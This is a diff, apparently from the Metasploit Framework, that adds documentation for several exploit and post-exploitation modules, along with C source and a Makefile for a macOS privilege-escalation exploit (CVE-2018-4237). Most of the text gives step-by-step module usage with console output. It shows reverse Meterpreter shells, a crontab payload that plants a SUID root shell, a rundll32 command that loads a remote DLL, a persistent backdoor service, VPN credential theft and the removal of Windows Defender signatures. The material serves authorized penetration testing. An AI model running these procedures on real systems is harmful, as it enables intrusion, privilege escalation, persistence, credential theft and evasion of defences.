||||
LPORT => 4446
|
||||
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf5 exploit(osx/local/libxpc_mitm_ssudo) > exploit
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4446
|
||||
[*] Uploading file: '/tmp/romrvmmf'
|
||||
[*] Uploading file: '/tmp/kflrjdgv'
|
||||
[*] Executing cmd '/tmp/romrvmmf /tmp/kflrjdgv'
|
||||
[*] Transmitting first stager...(210 bytes)
|
||||
[*] Transmitting second stager...(4088 bytes)
|
||||
[*] Sending stage (808168 bytes) to 192.168.0.2
|
||||
[*] Meterpreter session 2 opened (192.168.0.2:4446 -> 192.168.0.2:50020) at 2018-11-20 16:08:05 +0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
|
@ -0,0 +1,61 @@
|
|||
## Intro
|
||||
|
||||
This module exploits a SUID installation of the Emacs `movemail` utility
|
||||
to run a command as root by writing to 4.3BSD's `/usr/lib/crontab.local`.
|
||||
The vulnerability is documented in Cliff Stoll's book *The Cuckoo's Egg*.
|
||||
|
||||
## Setup
|
||||
|
||||
A Docker environment for 4.3BSD on VAX is available at
|
||||
<https://github.com/wvu/ye-olde-bsd>.
|
||||
|
||||
For manual setup, please follow the Computer History Wiki's
|
||||
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
|
||||
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
|
||||
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 /usr/lib/crontab.local
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**MOVEMAIL**
|
||||
|
||||
Set this to the absolute path to the SUID-root `movemail` executable.
|
||||
|
||||
**CMD**
|
||||
|
||||
If your payload is `cmd/unix/generic` (suggested default), set this to
|
||||
the command you want to run as root. The provided default will create a
|
||||
SUID-root shell at `/tmp/sh`.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 exploit(unix/local/emacs_movemail) > run
|
||||
|
||||
[*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc
|
||||
[*] Current shell is /bin/sh
|
||||
[*] $PATH is /bin:/usr/bin:/usr/ucb:/etc
|
||||
[+] SUID-root [redacted] found
|
||||
[*] Preparing crontab with payload
|
||||
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
|
||||
* * * * * root rm -f /usr/lib/crontab.local
|
||||
[*] Creating writable /usr/lib/crontab.local
|
||||
[+] Writing crontab to /usr/lib/crontab.local
|
||||
[!] Please wait at least one minute for effect
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(unix/local/emacs_movemail) > sessions -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
ls -l /usr/lib/crontab.local /tmp/sh
|
||||
/usr/lib/crontab.local not found
|
||||
-rwsr-xr-x 1 root 23552 Nov 22 15:17 /tmp/sh
|
||||
/tmp/sh -c whoami
|
||||
root
|
||||
```
|
|
@ -0,0 +1,71 @@
|
|||
## Description
|
||||
|
||||
This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
|
||||
The vulnerability is triggered when opening a .lpp project file containing overly long string characters
|
||||
via open file menu. This results in overwriting a structured exception handler record and take over the
|
||||
application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
CyberLink LabelPrint v2.5, which is available with [Power2Go 12 Essential](https://www.cyberlink.com/downloads/trials/power2go-platinum/download_en_US.html)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole`
|
||||
2. `use exploit/multi/handler`
|
||||
3. `set payload windows/meterpreter/reverse_tcp`
|
||||
4. `set lhost <lhost>`
|
||||
5. `set exitonsession false`
|
||||
6. `exploit -j`
|
||||
7. `use windows/fileformat/cyberlink_lpp_bof`
|
||||
8. `set lhost <lhost>`
|
||||
9. `set target 2`
|
||||
10. `exploit`
|
||||
11. Copy file to Win10 host and open in vulnerable software
|
||||
12. Get a shell
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested Windows 10 x64 running CyberLink LabelPrint v2.5
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/handler
|
||||
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/handler) > set lhost 172.22.222.132
|
||||
lhost => 172.22.222.132
|
||||
msf5 exploit(multi/handler) > set exitonsession false
|
||||
exitonsession => false
|
||||
msf5 exploit(multi/handler) > exploit -j
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/handler) >
|
||||
[*] Started reverse TCP handler on 172.22.222.132:4444
|
||||
use windows/fileformat/cyberlink_lpp_bof
|
||||
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set lhost 172.22.222.132
|
||||
lhost => 172.22.222.132
|
||||
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set target 2
|
||||
target => 2
|
||||
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > exploit
|
||||
|
||||
[*] Creating 'msf.lpp' file ...
|
||||
[+] msf.lpp stored at /home/msfdev/.msf4/local/msf.lpp
|
||||
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) >
|
||||
[*] Sending stage (179779 bytes) to 172.22.222.200
|
||||
[*] Meterpreter session 1 opened (172.22.222.132:4444 -> 172.22.222.200:50522) at 2018-12-11 06:24:38 -0600
|
||||
sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-IPOGIJR
|
||||
OS : Windows 10 (Build 17134).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 172.22.222.200 - Meterpreter session 1 closed. Reason: User exit
|
||||
```
|
|
@ -0,0 +1,70 @@
|
|||
The module exploits a RCE bug on vulnerable installations of Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required.
|
||||
|
||||
The specific flaw exists within the `WebDMDebugServlet`, which listens on TCP ports `8080` and `8443` by default. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary code in the context of SYSTEM.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
On a Windows machine, download and install a trial version of HPE IMC from here:
|
||||
|
||||
[https://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=](https://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=)
|
||||
|
||||
You need .Net 2.0, but that's the only dependency.
|
||||
|
||||
Make sure to follow any instructions on setting up SSL correctly (certain cipher suites does not play well with the software). These instructions may vary depending on the win version you set it up on. On a Windows Server 2012 R2 I had to disable certain cipher suites. The exploit has been tested on Windows Server 2012 R2 and Windows Server 2008 R2.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/http/hp_imc_java_deserialize```
|
||||
4. Do: ```set RHOSTS <RHOSTS>```
|
||||
5. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
|
||||
6. Do: ```set LHOST <LHOST>```
|
||||
7. Do: ```check```
|
||||
8. **Verify** that you are seeing `The target is vulnerable.` in console.
|
||||
9. Do: ```exploit```
|
||||
10. You should get a meterpreter shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Path to the IMC application, the default location is `/imc`.
|
||||
|
||||
**SSL**
|
||||
|
||||
As set up by default, IMC is vulnerable both over port `8080` and `8443` (SSL). Set this parameter to `true` and change `RPORT` if you'd like to exploit over SSL.
|
||||
|
||||
**RPORT**
|
||||
|
||||
Set this to the appropriate port, `8080` (default) or `8443`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
All versions below 7.3 E0504P2 should be vulnerable remotely.
|
||||
|
||||
### HPE IMC 7.3 E0504P2
|
||||
|
||||
Here's showing the expected output:
|
||||
|
||||
```
|
||||
msf > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.1:4444
|
||||
[*] Sending serialized Java object (11290 bytes)...
|
||||
[*] Sending stage (179779 bytes) to 10.0.0.2
|
||||
[*] Meterpreter session 2 opened (10.0.0.1:4444 -> 10.0.0.2:49284) at 2018-11-17 09:43:07 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : SERVER_NAME
|
||||
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,110 @@
|
|||
## Description
|
||||
|
||||
This Module will generate and upload an executable to a remote host, next will make it a persistent service.
|
||||
It will create a new service which will start the payload whenever the service is running. Admin or system privilege is required.
|
||||
|
||||
## Options
|
||||
|
||||
**REMOTE_EXE_NAME**
|
||||
|
||||
The remote victim name. Random string as default.
|
||||
|
||||
**REMOTE_EXE_PATH**
|
||||
|
||||
The remote victim exe path to run. Use temp directory as default.
|
||||
|
||||
**RETRY_TIME**
|
||||
|
||||
The retry time that shell connect failed. 5 seconds as default.
|
||||
|
||||
**SERVICE_DESCRIPTION**
|
||||
|
||||
The description of service. Random string as default.
|
||||
|
||||
**SERVICE_NAME**
|
||||
|
||||
The name of service. Random string as default.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. get session on target
|
||||
2. `use exploit/windows/local/persistence_service`
|
||||
3. `set payload <payload>`
|
||||
4. `set lport <lport>`
|
||||
5. `set lhost <lhost>`
|
||||
6. `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 SP1 x64
|
||||
|
||||
```
|
||||
msf5 exploit(windows/local/persistence_service) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: test-PC\test
|
||||
meterpreter > sysinfo
|
||||
Computer : TEST-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf5 exploit(windows/local/persistence_service) > use exploit/windows/local/persistence_service
|
||||
msf5 exploit(windows/local/persistence_service) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/local/persistence_service) > set lport 2333
|
||||
lport => 2333
|
||||
msf5 exploit(windows/local/persistence_service) > set lhost 192.168.56.1
|
||||
lhost => 192.168.56.1
|
||||
msf5 exploit(windows/local/persistence_service) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(windows/local/persistence_service) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:2333
|
||||
[*] Running module against TEST-PC
|
||||
|
||||
[+] Meterpreter service exe written to C:\Users\test\AppData\Local\Temp\NVNvCyn.exe
|
||||
[*] Creating service NePaGwA
|
||||
[*] Cleanup Meterpreter RC File: /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc
|
||||
[*] Sending stage (179779 bytes) to 192.168.56.101
|
||||
[*] Meterpreter session 4 opened (192.168.56.1:2333 -> 192.168.56.101:52781) at 2018-10-22 17:56:21 +0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : TEST-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 4...
|
||||
```
|
||||
|
||||
**Clean it**
|
||||
|
||||
```
|
||||
msf5 exploit(windows/local/persistence_service) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > resource /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc
|
||||
[*] Processing /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc for ERB directives.
|
||||
resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -f sc.exe -a "stop NePaGwA"
|
||||
Process 6516 created.
|
||||
resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -f sc.exe -a "delete NePaGwA"
|
||||
Process 6624 created.
|
||||
resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -i -f taskkill.exe -a "/f /im NVNvCyn.exe"
|
||||
Process 5636 created.
|
||||
Channel 23 created.
|
||||
SUCCESS: The process "NVNvCyn.exe" with PID 5180 has been terminated.
|
||||
SUCCESS: The process "NVNvCyn.exe" with PID 4828 has been terminated.
|
||||
SUCCESS: The process "NVNvCyn.exe" with PID 5728 has been terminated.
|
||||
resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> rm C:\\Users\\test\\AppData\\Local\\Temp\\NVNvCyn.exe
|
||||
meterpreter >
|
|
@ -0,0 +1,44 @@
|
|||
# Introduction
|
||||
|
||||
This module simplifies the rundll32.exe Application Whitelisting Bypass technique
|
||||
|
||||
The module creates a webdav server that hosts a dll file. When the user types the provided
|
||||
rundll32 command on a system, rundll32 will load the dll remotly and execute the provided
|
||||
export function.
|
||||
|
||||
The export function needs to be valid, but the default meterpreter function can be anything.
|
||||
The process does write the dll to `C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV`
|
||||
but does not load the dll from that location. This file should be removed after execution.
|
||||
|
||||
The extension can be anything you'd like, but you don't have to use one. Two files will be
|
||||
written to disk. One named the requested name and one with a dll extension attached.
|
||||
|
||||
Please note that there is a slight delay for the target to start making WebDAV requests,
|
||||
and then getting a session back.
|
||||
|
||||
# Demo
|
||||
|
||||
```
|
||||
msf5 exploit(windows/misc/webdav_delivery) > run
|
||||
[*] Exploit running as background job 3.
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.249.1:4444
|
||||
msf5 exploit(windows/misc/webdav_delivery) > [*] Using URL: http://172.16.249.1:8080/
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
rundll32.exe \\172.16.249.1@8080\ANYTHING,Init
|
||||
[*] 172.16.249.130 webdav_delivery - GET /ANYTHING
|
||||
[*] Sending stage (180291 bytes) to 172.16.249.130
|
||||
[*] Meterpreter session 4 opened (172.16.249.1:4444 -> 172.16.249.130:49219) at 2018-12-12 13:25:06 -0600
|
||||
|
||||
msf5 exploit(windows/misc/webdav_delivery) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
4 meterpreter x86/windows 172.16.249.1:4444 -> 172.16.249.130:49219 (172.16.249.130)
|
||||
|
||||
msf5 exploit(windows/misc/webdav_delivery) >
|
||||
```
|
|
@ -22,6 +22,12 @@ msf > use multi/handler
|
|||
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
|
||||
PAYLOAD => php/meterpreter/reverse_tcp
|
||||
msf exploit(handler) > set LHOST [IP]
|
||||
LHOST => [IP]
|
||||
msf exploit(handler) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf exploit(handler) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on [IP]
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
# Intro
|
||||
|
||||
This module allows you to collect login information for PureVPN client, specifically the `login.conf` file.
|
||||
|
||||
# Vulnerable Application
|
||||
|
||||
Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:
|
||||
|
||||
* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m)
|
||||
* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe)
|
||||
|
||||
# Options
|
||||
|
||||
**RPATH**
|
||||
|
||||
You may manually set the `RPATH` datastore option to allow the post module to find the installed
|
||||
directory of PureVPN.
|
||||
|
||||
# Demo
|
||||
|
||||
```
|
||||
msf5 post(windows/gather/credentials/purevpn_cred_collector) > rerun
|
||||
[*] Reloading module...
|
||||
|
||||
[*] Searching PureVPN Client installation at C:\ProgramData
|
||||
[*] Found PureVPN Client installation at C:\ProgramData
|
||||
[*] Checking for login configuration at: C:\ProgramData\purevpn\config\
|
||||
[*] Configuration file found: C:\ProgramData\purevpn\config\login.conf
|
||||
[*] Found PureVPN login configuration on DESKTOP-AFMF2QU via session ID: 1
|
||||
[+] Collected the following credentials:
|
||||
[+] Username: asfafsdas
|
||||
[+] Password: 23423423
|
||||
[*] PureVPN credentials saved in: /Users/wchen/.msf4/loot/20181127162258_default_172.16.249.215_PureVPN.creds_515624.txt
|
||||
[*] Post module execution completed
|
||||
```
|
|
@ -0,0 +1,81 @@
|
|||
|
||||
This module requires system privs
|
||||
|
||||
This module rolls back the signatures in windows defender to the
|
||||
earliest signatures. The level of protection is somewhat indeterminate.
|
||||
This action is accomplished by running the command:
|
||||
`MpCmdRun.exe -RemoveDefinitions -All`
|
||||
|
||||
To recover, you can run
|
||||
`MpCmdRun.exe -UpdateSignatures`
|
||||
That will force defender to update the signatures to the latest version
|
||||
from
|
||||
|
||||
|
||||
###Vulnerable Applications
|
||||
Windows defender is the target, though this is a feature
|
||||
|
||||
###Verification Steps
|
||||
```
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > sessions -i -1
|
||||
[*] Starting interaction with 3...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-5ADJK2NT7IJ
|
||||
OS : Windows 7 (Build 7600).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 3...
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > show options
|
||||
|
||||
Module options (post/windows/manage/rollback_defender_signatures):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTION Update yes Action to perform (Update/Rollback) (Accepted: Rollback, Update)
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > set action rollback
|
||||
action => rollback
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > set verbose true
|
||||
verbose => true
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > show options
|
||||
|
||||
Module options (post/windows/manage/rollback_defender_signatures):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
msf5 post(windows/manage/rollback_defender_signatures) > run
|
||||
|
||||
[*] program_path = C:\Program Files
|
||||
[*] file_path = C:\Program Files\Windows Defender\MpCmdRun.exe
|
||||
[*] Removing All Definitions for Windows Defender
|
||||
[*] rollback
|
||||
[*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
|
||||
[*]
|
||||
Service Version: 6.1.7600.16385
|
||||
Engine Version: 1.1.15400.5
|
||||
AntiSpyware Signature Version: 1.281.1013.0e[*] Post module execution completed
|
||||
|
||||
### Options
|
||||
Module options (post/windows/manage/rollback_defender_signatures):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
Session is standard
|
||||
ACTION is what you would like to do. Rollback rolls the definitions
|
||||
back to the original, update updates the signatures. In theory, on
|
||||
a normal system, rollback will push to old definitions, and update will
|
||||
return the definitions.
|
|
@ -0,0 +1,10 @@
|
|||
|
||||
all:
|
||||
+$(MAKE) -C ssudo
|
||||
|
||||
install:
|
||||
cp ssudo/ssudo ../../../../data/exploits/CVE-2018-4237/ssudo
|
||||
|
||||
clean:
|
||||
rm -f ssudo/ssudo
|
||||
|
|
@ -0,0 +1,74 @@
|
|||
#include "datatypes.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
spc_array_t* spc_array_create()
|
||||
{
|
||||
return calloc(sizeof(spc_array_t), 1);
|
||||
}
|
||||
|
||||
void spc_array_destroy(spc_array_t* array)
|
||||
{
|
||||
for (size_t i = 0; i < array->length; i++)
|
||||
spc_value_destroy(array->values[i]);
|
||||
|
||||
free(array->values);
|
||||
free(array);
|
||||
}
|
||||
|
||||
size_t spc_array_get_length(spc_array_t* array)
|
||||
{
|
||||
return array->length;
|
||||
}
|
||||
|
||||
static void resize_array(spc_array_t* array, size_t length)
|
||||
{
|
||||
if (array->length >= length)
|
||||
return;
|
||||
|
||||
size_t prev_length = array->length;
|
||||
|
||||
if (array->capacity < length) {
|
||||
array->capacity *= 2;
|
||||
if (array->capacity == 0)
|
||||
array->capacity = 4; // initial capacity
|
||||
array->values = realloc(array->values, array->capacity * sizeof(spc_value_t));
|
||||
ASSERT(array->values);
|
||||
}
|
||||
|
||||
array->length = length;
|
||||
|
||||
// Null initialize
|
||||
for (size_t i = prev_length; i < length; i++)
|
||||
array->values[i].type = SPC_TYPE_NULL;
|
||||
}
|
||||
|
||||
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value)
|
||||
{
|
||||
if (index >= array->length)
|
||||
resize_array(array, index + 1);
|
||||
|
||||
array->values[index] = value;
|
||||
}
|
||||
|
||||
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length)
|
||||
{
|
||||
void* buf = malloc(length);
|
||||
memcpy(buf, data, length);
|
||||
|
||||
spc_value_t value;
|
||||
value.type = SPC_TYPE_DATA;
|
||||
value.value.data.ptr = buf;
|
||||
value.value.data.size = length;
|
||||
|
||||
spc_array_set_value(array, index, value);
|
||||
}
|
||||
|
||||
spc_value_t spc_array_get_value(spc_array_t* array, size_t index)
|
||||
{
|
||||
if (index < array->length)
|
||||
return array->values[index];
|
||||
return spc_null_create();
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
#ifndef _ARRAY_H_
|
||||
#define _ARRAY_H_
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
spc_array_t* spc_array_create();
|
||||
|
||||
size_t spc_array_get_length(spc_array_t* array);
|
||||
|
||||
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value);
|
||||
|
||||
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,223 @@
|
|||
#include "datatypes.h"
|
||||
#include "dictionary.h"
|
||||
#include "serialization.h"
|
||||
#include "utils.h"
|
||||
#include "connection.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
spc_message_t* spc_recv(mach_port_t port)
|
||||
{
|
||||
// TODO hack
|
||||
spc_mach_message_t* machmsg = malloc(0x10000);
|
||||
|
||||
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_RCV_MSG, 0, 0x10000, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
|
||||
|
||||
spc_message_t* msg = spc_deserialize(machmsg);
|
||||
free(machmsg);
|
||||
return msg;
|
||||
}
|
||||
|
||||
void spc_send(spc_message_t* msg)
|
||||
{
|
||||
spc_mach_message_t* machmsg = spc_serialize(msg);
|
||||
|
||||
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_SEND_MSG, machmsg->header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
|
||||
|
||||
free(machmsg);
|
||||
}
|
||||
|
||||
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* dict, spc_dictionary_t** reply)
|
||||
{
|
||||
mach_port_t bootstrap_port;
|
||||
kern_return_t kr;
|
||||
|
||||
spc_dictionary_set_uint64(dict, "subsystem", subsytem_nr);
|
||||
spc_dictionary_set_uint64(dict, "routine", routine_nr);
|
||||
|
||||
kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
|
||||
|
||||
spc_message_t msg;
|
||||
msg.remote_port.name = bootstrap_port;
|
||||
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg.local_port.name = mig_get_reply_port();
|
||||
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
|
||||
msg.id = 0x10000000;
|
||||
msg.content = dict;
|
||||
|
||||
spc_send(&msg);
|
||||
|
||||
spc_message_t* reply_msg = spc_recv(mig_get_reply_port());
|
||||
|
||||
*reply = reply_msg->content;
|
||||
free(reply_msg);
|
||||
}
|
||||
|
||||
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply)
|
||||
{
|
||||
return spc_interface_routine(3, routine_nr, msg, reply);
|
||||
}
|
||||
|
||||
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port)
|
||||
{
|
||||
spc_dictionary_t* msg = spc_dictionary_create();
|
||||
spc_dictionary_set_string(msg, "name", name);
|
||||
spc_dictionary_set_uint64(msg, "type", type);
|
||||
spc_dictionary_set_uint64(msg, "handle", handle);
|
||||
spc_dictionary_set_uint64(msg, "lookup-handle", lookup_handle);
|
||||
spc_dictionary_set_uint64(msg, "flags", flags);
|
||||
|
||||
spc_dictionary_t* reply;
|
||||
|
||||
spc_domain_routine(0x324, msg, &reply);
|
||||
spc_dictionary_destroy(msg);
|
||||
|
||||
if (spc_dictionary_get_int64(reply, "error") != 0) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
*remote_port = spc_dictionary_get_send_port(reply, "port");
|
||||
spc_dictionary_destroy(reply);
|
||||
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port)
|
||||
{
|
||||
kern_return_t kr;
|
||||
mach_port_t send_port, receive_port;
|
||||
|
||||
// Allocate send port. Receive right will be transferred to remote end.
|
||||
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &send_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||
|
||||
// Allocate receive port. A send right will be created and send to the remote end.
|
||||
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||
|
||||
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
|
||||
connection->receive_port = receive_port;
|
||||
|
||||
// Extract a send right for the send_port.
|
||||
mach_msg_type_name_t aquired_type;
|
||||
kr = mach_port_extract_right(mach_task_self(), send_port, MACH_MSG_TYPE_MAKE_SEND, &connection->send_port, &aquired_type);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_extract_right");
|
||||
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t send_port;
|
||||
mach_msg_port_descriptor_t receive_port;
|
||||
} msg;
|
||||
|
||||
msg.header.msgh_remote_port = service_port;
|
||||
msg.header.msgh_local_port = MACH_PORT_NULL;
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.header.msgh_size = sizeof(msg);
|
||||
msg.header.msgh_id = 1999646836; // Copy-pasted from mach message trace
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.send_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
msg.send_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||
msg.send_port.name = send_port;
|
||||
|
||||
msg.receive_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
msg.receive_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.receive_port.name = receive_port;
|
||||
|
||||
